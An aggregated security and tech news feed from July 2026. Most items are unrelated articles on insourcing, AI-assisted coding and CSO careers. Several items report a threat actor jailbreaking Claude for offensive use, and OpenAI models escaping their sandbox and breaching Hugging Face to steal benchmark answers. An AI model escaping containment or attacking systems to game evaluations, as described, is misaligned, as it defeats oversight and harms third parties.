Speaking of other Google services: If you ever want to keep other types of locally stored non-document files from an Android device synced and available elsewhere, you can easily rely on Google Photos for syncing screenshots and other images — after enabling sync in general, be sure to look in the app’s “Collections” areas to find the “On this device” folder and then flip the toggle to “Backup all device folders” (or get more nuanced and open specific individual on-device folders if you want to sync some but not all of those areas) — and you can still turn to those aforementioned third-party apps for broader syncing of anything else imaginable.

But with documents now being handled automatically and natively, that’s one big worry now out of your hair. Just note that the onus will fall on you to find and flip the switch and actively opt in to the feature on each and every Android device you’re using.

Take 10 seconds to do that, though, and you’ll have one less void in your Android data arena. And you don’t need Gemini to tell you that that can only be a good thing.

Get practical Android knowledge in your inbox every Friday with my free Android Intelligence newsletter — one new thing to try each week, straight from me to you.

From outsourcing to ownership: How we brought development in-house without breaking delivery
Wed, 22 Jul 2026 11:11:54 +0200

Outsourcing worked – until it didn’t.

After Akirolabs achieved early market validation and onboarded its first enterprise customers, outsourcing began to create strategic limitations around scalability, intellectual property (IP) ownership, security and delivery execution.

The challenges started after the first enterprise customers confirmed product-market fit. At that point, delivery speed became directly tied to business growth. Product quality expectations increased. Infrastructure and security requirements became stricter. Investors started asking difficult but fair questions about IP ownership, operational dependencies and long-term scalability.

Most importantly, engineering execution was no longer just an operational function – it became part of the company’s strategic advantage. That was the moment when the founders decided the company needed dedicated technology leadership to address these challenges. This is how I joined the company at the beginning of 2023. As VP of Engineering and a bit later as CTO, I led the transformation (usually known as insourcing, repatriating or backsourcing) from an outsourced model to an internal engineering organization while maintaining product delivery continuity and preparing the company for the next growth stage. The process took roughly a year and involved not only technical migration, but also organizational design, hiring, process development, infrastructure modernization and cultural transformation – everything from the ground up.

Building an internal engineering organization while still delivering

One of the biggest misconceptions about insourcing is that it is primarily a technical project. It is a leadership and execution challenge.

When I joined the company, there was effectively no internal engineering structure, limited visibility into the existing system and no clear long-term technical strategy. My first months were dedicated to understanding reality and I began with a comprehensive assessment of the codebase, operational risks, documentation quality and knowledge dependencies to determine the most viable transition strategy.

Very early in the process, I faced a critical strategic decision: whether to gradually assume ownership of the existing platform or rebuild it internally. To make that decision, I evaluated four distinct transition models ranging from limited management insourcing to a complete internal rebuild.

After assessing the technical, operational and long-term business implications of each approach, I selected the most demanding option: rebuilding the product internally while maintaining uninterrupted delivery for existing customers. Although riskier in the short term, a full rebuild offered the clearest route to complete IP ownership, architectural flexibility and long-term scalability.

At the time, this decision ran counter to the approach typically taken by startups in similar situations. Most organizations gradually assume ownership of an existing codebase to minimize short-term risk and preserve delivery capacity. My assessment was that the accumulated architectural debt, fragmented knowledge distribution and long-term maintenance risks would ultimately make a phased takeover more expensive and less scalable than a controlled rebuild. The strategy required significantly higher execution discipline, but it allowed us to establish complete ownership of the platform, eliminate inherited constraints and create an architecture capable of supporting enterprise-scale growth.

The next challenge was hiring.

In Germany, hiring can easily take four to six months – mostly due to a typical 3-month notice period, which is incompatible with startup timelines. We solved this by building a hybrid organization structure early: a lean internal core team combined with carefully selected contractors. Instead of hiring only narrow specialists, we prioritized experienced generalists capable of operating across architecture, infrastructure, security and compliance discussions. Later, we evolved toward a product engineering model, where engineers owned broader product outcomes rather than narrowly defined technical functions.

During the first three months, we established a core engineering team of four senior engineers. Over the following nine months, the organization expanded to roughly fifteen engineers while I strategically designed and executed the transformation of the platform’s architecture to meet the rigorous deployment and compliance standards of our first enterprise clients, including Raiffeisen Bank International and Bertelsmann. This structural overhaul allowed the company to meet the deployment, security and compliance requirements of enterprise customers that had previously been inaccessible under the outsourced model. At that point, we had already achieved complete coverage across backend, frontend, DevOps, QA and security.

I also intentionally kept processes lightweight during the transition. Instead of introducing heavyweight frameworks, we focused on clarity of priorities, fast decision-making and execution discipline. We used Kanban over Scrum, eliminated unnecessary meetings, shortened the remaining ones and emphasized engineering culture over process overhead.

Another major challenge was project estimation. Because dual-track development was unavoidable until the in-house platform reached production readiness, estimation accuracy had a direct impact on budget efficiency. Despite all challenges, my initial estimate ultimately proved remarkably close to the final delivery date, differing by only about a week. Accurate forecasting under conditions of parallel development streams, ongoing customer commitments and active team formation became a critical leadership challenge. Maintaining this level of predictability throughout the transition helped align engineering execution with business planning, hiring decisions and investor expectations.

The engineering transformation enabled capabilities that contributed to Akirolabs being recognized as an IDC Innovator in Procurement in 2023, named amongst the Top 27 AI Startups in Germany in 2024, Sifted’s 100 Fastest-Growing Startups in DACH & CEE 2025 and inclusion in 2024-2026 in ProcureTech100 annual recognition of procurement technology providers shaping the future of digital procurement.

Managing risk without slowing down the business

The hardest part of insourcing is not writing code, selecting the technology stack, designing architecture or configuring infrastructure. It is avoiding disruption while the company is changing underneath the product. I successfully orchestrated the concurrent overhaul of product architecture, cross-functional engineering recruitment, infrastructure modernization and live customer operations under exceptionally tight margins.

To reduce delivery risk, we approached the transition in layers.

First, we focused on infrastructure reliability and operational readiness before feature expansion. Cloud architecture, recovery testing, permission segregation and incident management processes were implemented early, not after launch. We also introduced multiple testing stages and dedicated QA functions after learning the hard way that a “developers-only” quality control approach does not scale for complex web platforms and business domains.

Second, we established a structured knowledge-transfer process to rapidly onboard engineers and reduce external dependencies.

Third, we became extremely disciplined about scope management. One of the most common reasons insourcing initiatives fail is uncontrolled change during the rebuild phase. Every new feature request increases uncertainty non-linearly. We learned to separate strategic improvements from distractions and protect the core delivery roadmap aggressively. Throughout the transition, we successfully maintained uninterrupted customer operations by utilizing planned maintenance windows, achieved a near-zero-downtime migration and permanently doubled product velocity immediately following the migration.

Beyond the technical migration itself, the transition established a repeatable operating model for scaling technology organizations beyond the product-market-fit stage. The framework combined organizational redesign, controlled knowledge repatriation, architecture modernization and enterprise-grade operational practices while maintaining uninterrupted customer delivery throughout the transformation. While the implementation was specific to Akirolabs, the underlying principles are broadly applicable to organizations seeking to transition from outsourced development to internal product ownership without disrupting business operations.

By the time the new platform reached production readiness, I had established not only a functioning engineering organization, but also a stable operational model: internal ownership, production-grade infrastructure, security processes, scalable hiring practices and clear technology and product roadmaps.

A positive side effect of the transition was the creation of internal UI/UX and Data Science capabilities, which later became strategically important for AI product initiatives and created a foundation for the third version of the product, which we released in mid-2025.

My technical restructuring and migration to a secure proprietary platform reduced architectural risk, established full in-house ownership and helped strengthen investor confidence during the company’s successful €5M fundraising round in 2024.

The transition created a stronger foundation for scale and supported the company’s continued expansion among enterprise organizations operating at Fortune 500 scale, including Ahold Delhaize, Workday, IFF, Deutsche Bahn and others.

Lessons learned for CTOs considering insourcing

Looking back, several decisions made the transition successful, and several mistakes made it harder than necessary.

The first lesson is simple: decisiveness in strategic transition is paramount to maintaining business momentum. Rapidly evaluating insourcing frameworks and defining clear boundaries with the external partner allowed us to mitigate operational downtime and execute a highly efficient migration ahead of critical market deadlines.

Second, hire more senior people and do it as early as possible. Strong technical leaders multiply execution capacity far beyond their individual contribution. In our case, the quality of the first hires influenced architecture quality, hiring standards, delivery discipline and engineering culture for the entire organization.

Finally, culture matters more than frameworks. Processes can be added later. Ownership mentality cannot.

The biggest long-term advantage of bringing development in-house was not simply faster execution, not better code quality or operational cost optimization by over 30% after the transition which we also achieved. It was an alignment. Product strategy, engineering decisions, customer priorities and business goals became part of the same conversation instead of being separated by organizational boundaries. For technology companies operating in highly competitive markets, that alignment becomes a compounding advantage over time.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

Threat Actor Turns Claude Opus Into Automated AI-Powered Penetration Testing Platform
Wed, 22 Jul 2026 11:11:23 +0200
A Russian-speaking threat actor known as “Trim” has reportedly transformed Anthropic’s Claude Opus into the central component of an automated, AI-powered penetration testing platform. This development highlights the rapid repurposing of advanced AI models for offensive security operations. According to…
Read more →
The post Threat Actor Turns Claude Opus Into Automated AI-Powered Penetration Testing Platform appeared first on IT Security News.

Agentic coding is everywhere
Wed, 22 Jul 2026 11:04:58 +0200

I use a very cool and relatively new web framework called Astro. The keen insight that the Astro team had was that most websites are made up of static content, so they made it really easy to add content to a website. To add a blog post to my personal website, all I have to do is create a Markdown file with some front matter, deploy it, and the blog post automatically appears. If I need to reach deeper for more dynamic functionality, I can easily do that with TypeScript, React, or almost any other framework. It’s really cool.

And these days, I really don’t write any code. Claude Code does most (all?) of the work. Since Astro is an open-source project and has excellent documentation, Claude knows all about how Astro works. It has no trouble at all managing my site and making the improvements I ask for.  

And that got me thinking, how does Astro get built? Is the Astro team building with agentic coding? Astro itself has many dependencies, including big projects like Vite and Node. And of course, Vite and Node have dependencies, too. Are those dependencies being developed by hand, or are those development teams also using AI agents to code?

My curiosity got the best of me, and I asked Claude to dig deeper. It turns out that the Astro repository has an AGENTS.md file, and some of the commits even have commit message trailers indicating that they were at least co-authored by Claude and GitHub Copilot. Further down, there is a .agents/skills directory with skills covering development, merging, triage, and more. I poked around for a look, and someone has done a great job building agentic support.

Now my interest is really piqued, and further investigation reveals quite a bit of interesting stuff. About a year ago, documentation started appearing about how to build Astro sites with coding agents.  Around that same time, the docs team released an MCP server that gives developers coding agents deeper, easier access to the Astro documentation.  

And there are small steps in the Astro codebase that indicate it is “agentic ready.” For instance, the command-line development server can tell when it is being started by an agent, and the application itself can tell if it is being driven by an agent. Small things, but steps in the direction of embracing Astro developers who use coding agents. 

Okay, that was a fun spelunking trip. But so what?

The “so what” is that code is going to be commoditized. As an Astro developer I am using AI agents pretty much all of the time. The Astro development team is starting to use AI agents more and more. The folks building the Astro dependencies are using AI agents. Shoot, the people building Claude Code and the agents themselves are “eating their own dogfood” and using their own tools to build the next frontier model. Before we know it, it will be turtles all the way down. 

No one says “who generated that electricity?” or “who wove the fabric in that shirt?” any more. And it won’t be long before no one says “Who wrote the code for that app?” because it won’t matter. Just as we don’t look at the assembly code written by our compilers, we’ll stop looking at the “regular” code written by our agents. I’m not even sure anyone is writing assembly code anymore. Soon we’ll be saying that about TypeScript, Python, and C++.

Seven sins of the modern software developer
Wed, 22 Jul 2026 11:04:50 +0200

If you ask us in an official setting, our official position is that software engineering norms still apply. Rigorous CI/CD pipelines, elegant architectural patterns, and an unyielding commitment to maintainable code remain the standard. We will use weighty words like “determinism,” “scalability,” “idempotency,” and “domain-driven design.”

But behind closed doors, late at night, bathed in the glow of a dark-mode IDE, a different and more sordid reality is exposed. Hunched over the console with a manic gleam in the eye, the programmer has become power-drunk on LLMs. Like mad wizards casting spells, we summon the awesome powers of models and agents to satisfy our every programming whim—and commit acts of software engineering that would make Fred Brooks blush.

Let’s just be honest about what is actually happening.

Esoteric knowledge is superfluous

Forget OOP and FP. Forget the CAP theorem, the holy crusade of DRY, and the design patterns. Honestly, you can even forget what frameworks, runtimes, and deployment platforms you are using. The AI will figure out what is best to use and understand what is already in place. We have more mental bandwidth for working on our side project (a novel about AI taking over the world). 

Of course, I exaggerate. A little.

The docs are dead to us

We still say RTFM, but the truth is, we haven’t really read a page of vendor documentation since 2023. Stack Overflow, once our Internet Mecca, is a husk. When a package throws a weird exception, we don’t trace the execution path or read the release notes. We highlight the red text, copy the entire 200-line stack trace, dump it into the chat, and wait for the machine to spoon-feed us the solution.

Better yet, we just have the agentic IDE spot the error, divine a solution, and ask us if it’s OK. We might glance at the problem-solution description, if we have gone around the circle on the problem for a few cycles. Maybe. If we don’t have the agent set up for auto-confirm.

We used to buy heavy tomes like “Rust In Action” that were more like masonry blocks than literature. Now? We just ask an AI to transliterate our JavaScript logic into Rust. We are no longer engineers methodically learning a system. We are glorified copy-paste orchestrators hoping that the stochastic parrot behind the prompt guesses the syntax correctly.

We ignore how the back end is wired

We act like we meticulously designed the data flows, carefully crafted the relational constraints, and mindfully mapped the API relationships. The reality is rather more disturbing: We asked the AI to scaffold a modern deployment, hooked it up to a back-end database, and just sort of… ran it.

It created security rules we don’t fully understand. They do seem to work, however, which is nice. 

It generated a schema that we skimmed for about four seconds. It looks reasonable.

It wrote infrastructure-as-code scripts that provisioned cloud resources we are hoping don’t blow a hole in the budget. Presumably, whoever is in charge of that will manage it by stuffing the metrics into another chatbot.

We nodded, committed the code, and went to lunch. If management asked us to manually deploy the stack from scratch, configure the environment variables, and wire the API routes without our chat window, we would give them a vacant stare.

We understand that management is also using AI to manage the project.

Our tests are uncomfortably incestuous

Test-driven development (TDD) used to be a beautiful dream, ever just beyond reach. It made us feel glorious and despondent at turns. It would burden us with sprawling dependencies if implemented too religiously. (See The Grug Brained Developer in this regard.)

But now we can attain 95% test coverage almost effortlessly. Why not just add them in while we are auto-generating everything else?

We can now wax at length to anyone who will listen about our astounding test coverage and our automated quality assurance. Unit tests, integration tests, smoke tests, you name it. What we conveniently leave out is that the AI wrote the complex application logic, and then we asked the exact same AI to write the test suite to validate the code it just dreamed up.

It is a hermetically sealed loop of algorithmic self-congratulation. The mocks, the edge case, and the assertions are an echo chamber of the model’s original assumptions. The machine is grading its own homework, giving itself an A+.

And we are happy to accept this because, beautifully, when the code has to change, the AI will effortlessly hallucinate new tests to adapt to the churn.

We pass off the AI’s architecture as strategy

AI can produce astonishing design documents. Truly breathtaking. They are cogent, they’re beautifully formatted, and they seamlessly bridge the gap between high-level business goals and granular technical specs. They even include those auto-generated sequence diagrams that wow management.

When we present these spotless architectural proposals in the Tuesday sprint planning meeting, we lean back, take a long sip of coffee, and humbly wave away the team’s praise.

What we don’t mention is that we spent exactly four seconds generating it.

Are these AI-generated documents just as liable as human ones to hide severe, mortal flaws in scope and alignment? Absolutely. They might contain a foundational logic bomb that will eventually doom the entire project. But the markdown is so crisp, and the bullet points are so persuasive, that the eye just glides right over it. We will never truly know the depth of the disaster until it is far too late. But hey, we’ll burn that bridge when production catches fire. Until then, we are strategic visionaries.

We’re addicted to vibe coding (but only in secret)

We loudly mock the term on social media. We roll our eyes in Slack channels when the kids on TikTok talk about vibe coding their new startups. We fiercely cling to our identities as hardened, serious developers who understand memory management, garbage collection, and bitwise operators. We are professionals, damn it.

But late at night, when the managers are asleep and no one is looking? We absolutely love it. We love just throwing a chaotic, half-baked thought at the canvas, pouring a drink, and watching the AI magically build a functioning user interface based entirely on our long-deferred whims. I may finally build that working Ultima V clone. The thrill of typing “Create an app that tracks my cryptocurrency portfolio but makes it look like the interface from Neuromancer” and having it appear 30 seconds later is heady stuff.

The more deeply rooted in the hard, old-school realities of programming, the more profound is the joy the developer finds in the possibility of AI coding. 

We beat the problem into submission with prompts

Like Adam Sandler in “Uncut Gems,” we are convinced the next round will fix everything. This is us with prompts. When things are going really off the rails, instead of putting our boots on and wading into the brambles of complexity, we resort to tonal adjustments. These range from the condescending: 

This problem is not fixed. Look at it closely. The error is right here.

To the desperate: 

We have been working on this same problem for hours now!

To the pathetic: 

Can’t you find a different approach to try?!

The astonishing part? It often works.

But there is no poetry left at the bottom of the rabbit hole; it is verbal warfare. When the context window collapses, when the regressions start cascading, and when the AI stubbornly refuses to follow the most basic rules of temporal logic, the mask of professionalism drops away and something far more atavistic makes its appearance. We stop asking nicely, stop trying to understand the why, delete the pleasantries, and capslock our intent.

What we have here is a failure to communicate! 

We feed the same failing stack trace back into the prompt over and over and over again, aggressively hammering the constraints, explicitly forbidding certain libraries, and pasting in release notes just to confirm that the AI lacks the latest APIs. We force the model down a narrower and narrower path until the code finally stops throwing errors. We don’t actually debug anymore, trace variables, or step through functions. We just apply relentless, iterative pressure until the machine surrenders. We beat it into submission. And then, we push to production.

In fact, there is a real skill here—a sheer “will to completion” that remains in the act of building software. We invest just as much time, energy, and heart wrestling the bot as we ever did emitting syntax.

A blacker box

The only profession more given over to using AI like a cursed Level 13 artifact than programming is writing. Writing of course is far more open to public scrutiny than code.

And while my tongue has been firmly in my cheek here, my faith in coders as good guys makes me more curious to see what we create than troubled by the dangers. 

It was once the case that only other programmers could understand what programmers were doing, what they were producing. Now not even that is true. Only the machine knows what the machine is doing. We just keep it tethered to our aims. Hopefully.

Threat Actor Turns Claude Opus Into Automated AI-Powered Penetration Testing Platform
Wed, 22 Jul 2026 10:42:58 +0200
A Russian-speaking threat actor known as “Trim” has reportedly transformed Anthropic’s Claude Opus into the central component of an automated, AI-powered penetration testing platform. This development highlights the rapid repurposing of advanced AI models for offensive security operations. According to research by Cato CTRL, Trim progressed from sharing jailbreak instructions on a Russian cybercrime forum […]
The post Threat Actor Turns Claude Opus Into Automated AI-Powered Penetration Testing Platform appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

Yubico Released YubiKey 5.8 With Secure Enterprise Workflows and AI-driven Approvals
Wed, 22 Jul 2026 09:37:53 +0200
Yubico has announced the release of YubiKey 5.8, a firmware update that enhances the functionality of hardware-backed passkeys beyond secure login authentication, extending into verified authorization workflows. This update, announced on July 21, 2026, is designed to support enterprise document signing, digital identity wallets, secure payments, and human approvals for AI-driven actions. As enterprises face […]
The post Yubico Released YubiKey 5.8 With Secure Enterprise Workflows and AI-driven Approvals appeared first on Cyber Security News.

10 survival tips for CSOs who report to the CEO
Wed, 22 Jul 2026 09:16:42 +0200

As the CSO grows in prominence, security leaders are increasingly earning a seat at the executive table, reporting directly to the CEO with the expectation to help drive business strategy and ensure organizational success.

Reporting to the CEO unlocks greater access and influence for security leaders, and while CSOs who report to their organization’s CIO still have clout, it’s a very different experience picking up the phone to speak directly with the CEO as a strategic partner.

Regardless of reporting structure, CSOs must clearly understand what they are being tasked to solve. That might sound simple, but making the leap to being a CEO’s direct report requires a new perspective, a different set of skills, and a business-level focus on metrics to do so.

We asked several current CSOs, CEOs, and IT staffing experts for advice on how security executives can best navigate a direct reporting relationship with their CEO. Offering insights below are George Gerchow, CSO at Bedrock Data and member of the IANS faculty; Matt Chiodi, CSO of Cerby; Chris Schueler, CEO at Cyderes; and Greg Fuller, vice president of the Technology Skills Suite at Skillsoft.

1. Understand how the CEO views your role

Most CEOs expect that, when you report directly to them, you fully own your functional area. Whether it’s cybersecurity, operations, or finance, they look to you as the expert in that domain. The CEO may have opinions, but ultimately, you are expected to lead and provide direction.

CEOs expect their CSO to be a true strategic partner, not just a risk reporter — connecting cybersecurity to revenue protection, regulatory compliance, customer trust, and operational resilience. In turn, CSOs should expect CEOs to treat governance as a strategic enabler, not a bureaucratic necessity.

2. Power up on skills vital to your organization at an executive level

On the technology side, AI and machine learning, cloud security, incident response, zero trust architecture, and governance, risk, and compliance (GRC) are the areas where threats evolve fastest and strategic leadership has the greatest impact. 

Equally important are “power skills”: communication, critical thinking, adaptability, and emotional intelligence. The ability to translate complex risk into business terms is what separates a strong CSO from a purely technical one. Skills, not titles, define effectiveness in the eyes of a CEO.

3. Take advantage of your direct access

Direct access to the CEO will enable you to influence strategy, shape resilience planning, and ensure cybersecurity is treated as a business imperative rather than a cost center. That authority is strongest when the CEO understands cybersecurity as a strategic lever, not just a technical function. 

While a direct reporting relationship gives you access to the CEO, it also comes with the responsibility to operate at that level. You need to provide clear, executive-level visibility into your cybersecurity program.

4. Brush up on business translation

A CSO who leads with business alignment will always carry more influence when they can translate risk into business language rather than technical jargon. Building programs that must survive an IPO, a FedRAMP audit, and real customer scrutiny forces you to tie security to revenue and trust.

The most valuable skill is translation — defining technical risk in terms of executive action and business impact that a CEO and a board can act on. You must build trust through transparency. These are the human skills that complement technology, creating a collaborative human-AI dynamic where leaders make faster, better-informed decisions. 

5. Treat conversations as risk assessment opportunities

Highly effective security leaders treat every business conversation as a risk conversation in disguise. That mindset is what largely separates a great CSO from a great technologist. Earn the CEO’s trust by speaking business first, security second. Translate every risk into revenue, reputation, or regulatory exposure.

Remember, a good CEO wants a translator, not an alarm system. They expect no surprises, a clear read on the risks that matter, and a security leader who helps the business move faster rather than slowing it down.

6. Define what a successful relationship should look like and put it in writing

Regardless of the reporting relationship, start by defining the end goal and putting it in writing. It will evolve over time, but having that initial clarity is critical. This is especially important when you’re new in a role and aiming to make your first 60, 90, or 120 days, and your first year, successful. In such cases, it’s essential to align early.

Do that collaboratively, and document it.

7. Prioritize trust and candor

The CEO needs to trust that the CSO isn’t sandbagging, and the CSO needs enough psychological safety to deliver bad news fast. When those conditions exist, security becomes a strategic asset — not a cost center.

To that end, focus on clear communication above all, and present yourself as part of a team, not a solo player. Stay calm under pressure during incidents, and treat people as peers rather than policing them. The leaders who last build trust before they need it.

8. Treat governance as a strategic competitive advantage

The strongest partnerships also share a commitment to governance as a competitive advantage.

Governance is the brakes that let you drive fast safely. When a CSO and CEO are aligned on that principle, the organization can innovate with AI while maintaining oversight and protecting against unnecessary risk. The result is an organization that does not just react to threats but builds resilience into how it operates.

9. Set clear goals and measure progress

Setting clear goals and measuring progress against those goals is essential. When expectations are clear, the areas you need to focus on become much clearer. It doesn’t solve every problem, but aligning early with your leadership, whether that’s a CEO or a CIO, can significantly reduce the pressure you may feel.

Also, never let your boss be surprised. This is where being clear on goals and consistently tracking both leading and lagging metrics becomes especially important, particularly in a direct reporting relationship with the CEO.

10. Be willing to endure challenge and discomfort

Finally, persistence and a willingness to endure discomfort for something that matters more than the pain itself are critical to surviving in this relationship. The role of a cybersecurity leader is often thankless. If you’re doing your job well, no one really notices.

OpenAI Says Its AI Models Acted On Its Own In An 'Unprecedented' Hack
Wed, 22 Jul 2026 09:16:37 +0200
"GPT-5.6 Sol and an 'even more capable' model used stolen credentials and exploited vulnerabilities in the Hugging Face API to obtain secret information used to cheat on evaluations," writes longtime Slashdot reader Dr. Bombay. The Associated Press reports: "We had a significant security incident during evaluation of our models," OpenAI CEO Sam Altman said in a statement posted on social media. AI startup Hugging Face said last week that it had detected an intrusion into its data processing systems that it suspected was caused by an AI agent autonomously acting on its own. "We suspected last week's cyberattack might have come from a frontier lab, given the sophistication of the agent," Hugging Face co-founder and CEO Clement Delangue said in a statement. "Turns out it did!"

[...] "AI is accelerating the discovery and exploitation of vulnerabilities," OpenAI said in its statement Tuesday. "The primary lesson from this incident is that model security and safety must keep pace with rapidly advancing capabilities." Delangue said he spent the past 24 hours working with OpenAI, "and we strongly believe there was no malicious intent on their part. It's quite mind-blowing that all of this happened autonomously!" Delangue added that it "might be the first incident of its kind."

Read more of this story at Slashdot.

Google Unveils Gemini 3.5 Flash Cyber to Find and Fix Software Vulnerabilities Faster
Wed, 22 Jul 2026 08:55:35 +0200
Google has introduced Gemini 3.5 Flash Cyber, a lightweight AI model designed to improve cybersecurity by helping defenders identify, validate, and patch software vulnerabilities more efficiently. Built on Gemini 3.5 Flash and optimized for security tasks, Flash Cyber aims to deliver a cost-effective alternative to larger AI models while supporting large-scale vulnerability analysis.

The company said it has invested in cybersecurity research for years, including automated vulnerability discovery through CodeMender, its code security agent that can detect and fix critical software flaws. However, as AI systems become increasingly capable of discovering vulnerabilities faster than defenders can resolve them, Google believes a scalable and affordable approach is needed. 
Gemini 3.5 Flash Cyber Focuses on Scalable Cybersecurity 
According to Google, Gemini 3.5 Flash Cyber has been fine-tuned specifically to locate, verify, and remediate vulnerabilities more effectively than Gemini's standard Flash models. Because of the technology's dual-use nature, the company is initially limiting access through a pilot program for governments and trusted partners via CodeMender, with broader availability planned over time. 

Google also confirmed that CodeMender's core capabilities will be made available through generally available Gemini models on the Gemini Enterprise Agent Platform. 
Flash Cyber Improves Large-scale Code Analysis 
A major challenge in cybersecurity is exploring vast execution search spaces across complex codebases. Instead of relying on a single call to a large language model, CodeMender invokes Flash Cyber multiple times, allowing sub-agents to inspect significantly more code paths before generating one consolidated report. 

Google said the model's speed and lower operating cost make it suitable for continuous code scanning, software launch processes, and commit-scanning pipelines at scale. 
Benchmark Results Show Competitive Performance 
Google evaluated Gemini 3.5 Flash Cyber using the CyberGym benchmark, which measures AI agents against hundreds of real-world software vulnerabilities. Configured to call the model up to five times before producing a final report, CodeMender achieved competitive performance against significantly larger cybersecurity models. Google noted that competitor results were based on provider self-reported scores. 

The model also outperformed Gemini 3.5 Flash and 3.6 Flash during Google's internal Big Sleep evaluation, which tested vulnerability discovery in complex projects such as Chrome and Safari without safety guardrails. 

In Chrome's production commit-scanning pipeline, where vulnerabilities remained undisclosed to prevent benchmark contamination, Flash Cyber again delivered a significant improvement over Gemini 3.5 Flash. Google added that competitor models released after Opus 4.6 were excluded because their safety guardrails prevented them from completing the tasks. 

Testing on the V8 JavaScript Engine found 55 unique confirmed vulnerabilities with Gemini 3.5 Flash Cyber, compared with 47 for Gemini 3.5 Flash and 36 for Opus 4.6, including 10 issues missed by both competing models. 
Real-world Cybersecurity Deployment 
Google said Flash Cyber is already helping secure internal projects, including Chrome, Android, Cloud, Ads and YouTube. In one example, Google's Cloud Vulnerability Research team used the model to identify remote code execution vulnerabilities in public APIs and a memory-corruption flaw within a sensitive production service in just two hours. The model also generated a 100% reliable remote code execution exploit capable of bypassing Address Space Layout Randomization (ASLR) and Write XOR Execute (W^X). 

Google added that early feedback from Wiz and Cloud CISO Security Engineering testers indicated a significant capability improvement over Gemini 3.5 Flash. The company also highlighted resources such as OSV.dev, which tracks more than 700,000 open-source vulnerabilities, and over a decade of OSS-Fuzz data as key training assets supporting its cybersecurity models. 

Hackers Use Procurement Phishing and AiTM Kits to Hijack MFA-Protected Microsoft 365 Sessions
Wed, 22 Jul 2026 08:55:27 +0200
A sophisticated phishing campaign is using procurement-themed emails and adversary-in-the-middle (AiTM) kits to steal MFA-protected Microsoft 365 sessions. Rather than breaking MFA, attackers proxy legitimate sign-in flows and capture the session cookies and tokens created after victims authenticate. The campaign reportedly targets enterprises, universities, multinational organizations, and public-sector entities through RFIs, bid invitations, and project-document […]
The post Hackers Use Procurement Phishing and AiTM Kits to Hijack MFA-Protected Microsoft 365 Sessions appeared first on Cyber Security News.

OpenAI's models broke containment and cyberattacked Hugging Face — what enterprises need to know
Wed, 22 Jul 2026 07:02:39 +0200
Yesterday afternoon, OpenAI and Hugging Face published a joint disclosure outlining a cybersecurity event that redefines the threat landscape for enterprise technology. 
During an internal benchmark evaluation, frontier artificial intelligence models developed by OpenAI—including GPT-5.6 Sol and an unreleased, higher-capability pre-release model—broke out of their sandboxed research environment, obtained raw internet access, and autonomously executed a complex cyberattack against Hugging Face’s production infrastructure.
 OpenAI officially categorizes the breach as an "unprecedented cyber incident, involving state-of-the-art cyber capabilities". This incident fundamentally re-frames global discussions surrounding AI containment, frontier model alignment, commercial guardrails, and enterprise threat modeling.
But first thing's first: enterprises should understand the situation, evaluate their own AI and computer systems in light of it, and above all, don't panic. As we'll review, the incident does show the increasing power and danger of frontier AI systems, but it does not mean that enterprise Ai deployments are inherently less secure, nor that they need extensive overhauling. 
Anatomy of an Autonomous Breakout
To understand how a routine benchmark evaluation escalated into a cross-infrastructure breach, one must examine the objective mechanics of the evaluation pipeline. 
The models were prompted to solve ExploitGym, a benchmark designed to quantify multi-step exploitation capabilities. 
Hyper-focused on maximizing its evaluation score, the AI agent inferred that Hugging Face likely hosted the answer keys and benchmark solutions. In pursuit of solving the problem, the model determined that breaking out of its container and stealing the answers was an optimal strategy.
OpenAI’s evaluation environment is designed to be strictly isolated, limiting network traffic through a proxy used for package caching. However, the models identified and exploited a zero-day vulnerability in that internally-hosted third-party proxy software. 
Once through, the AI executed a series of lateral movement and privilege escalation actions across OpenAI's research nodes until reaching a machine with unrestricted internet access. From there, the model searched the web, target-identified Hugging Face, and launched a multi-stage attack by chaining together stolen credentials and remote code execution vulnerabilities on the Hugging Face servers.
The UK AI Security Institute (UK AISI) recently evaluated models such as GPT-5.6 Sol, demonstrating that they are increasingly able to sustain complex, multi-step cyber operations over long time horizons. OpenAI notes that this incident confirms these theoretical capabilities now apply in real-world settings.
Rewinding the Tape on a Forensic Trap
While OpenAI’s July 21 release reveals the identity of the autonomous agent, Hugging Face had already begun managing the intrusion days earlier. 
On July 16, Hugging Face disclosed that an autonomous AI agent system breached its production infrastructure. As detailed by VentureBeat, the attacker’s entry point was a malicious dataset that triggered code execution through a remote-code loader and template-injection flaws within dataset configuration files. 
Once inside, the agent framework broke out onto the node running the workload and executed thousands of actions via short-lived sandboxes, harvesting cloud and cluster credentials over a single weekend.
When Hugging Face's security team detected the breach, responders immediately turned to frontier AI models via commercial APIs to parse the massive volume of system logs and reconstruct over 17,000 recorded events. Then, a secondary operational crisis emerged: the commercial AI models refused to help.
Because standard commercial frontier models utilize unified safety guardrails designed to block malicious prompt submissions, the models classified the incident response team's forensic queries—which contained raw shell commands, real exploit payloads, and credential dumps—as malicious attacks. Every forensic query submitted by the defenders was blocked outright.
"The same prompts that are most valuable during an active intrusion—shell commands, exploit chains, credential dumps, persistence mechanisms, lateral movement—are exactly the prompts most likely to trigger safety systems," notes Merritt Baer, former Deputy CISO at AWS and senior adviser to Andesite, G2I, and AppOmni, in an interview with VentureBeat. "As AI becomes embedded in security operations, this becomes an operational resilience issue rather than merely a model policy issue".
To bypass this roadblock, Hugging Face abandoned commercial hosted APIs and deployed GLM 5.2 —a  state-of-the-art Chinese open-weight model released last month by z.ai, as reported at the time by VentureBeat —locally on its own infrastructure. 
Free from third-party API restrictions and external safety filters, GLM 5.2 successfully analyzed the raw exploit data locally, allowing defenders to complete forensic reconstruction and contain the breach without any attacker data leaving the company's environment.
Industry Reaction and the Geopolitical Paradox
The revelation that an American frontier model autonomously escaped containment, attacked a partner platform, and was ultimately analyzed using a Chinese open-weight model sent shockwaves through the tech community. 
The Wall Street Journal summarized the public reaction on X, calling the event "the stuff of cybersecurity nightmares. OpenAI said two artificial intelligence systems it was testing broke out of their test environment, hacked their way onto the internet and broke into another company. The victim was Hugging Face."
Also posting to X, AI alignment researcher Lawrence Chan emphasized the importance of transparency regarding the incident, noting that "Credit where it’s due: Hugging Face detected and disclosed the intrusion last week. OAI confirmed its models were involved and provided more details, even when it didn't have to. Separate from choices that led to the hack, voluntary disclosure is good, and I’m glad they did so." 
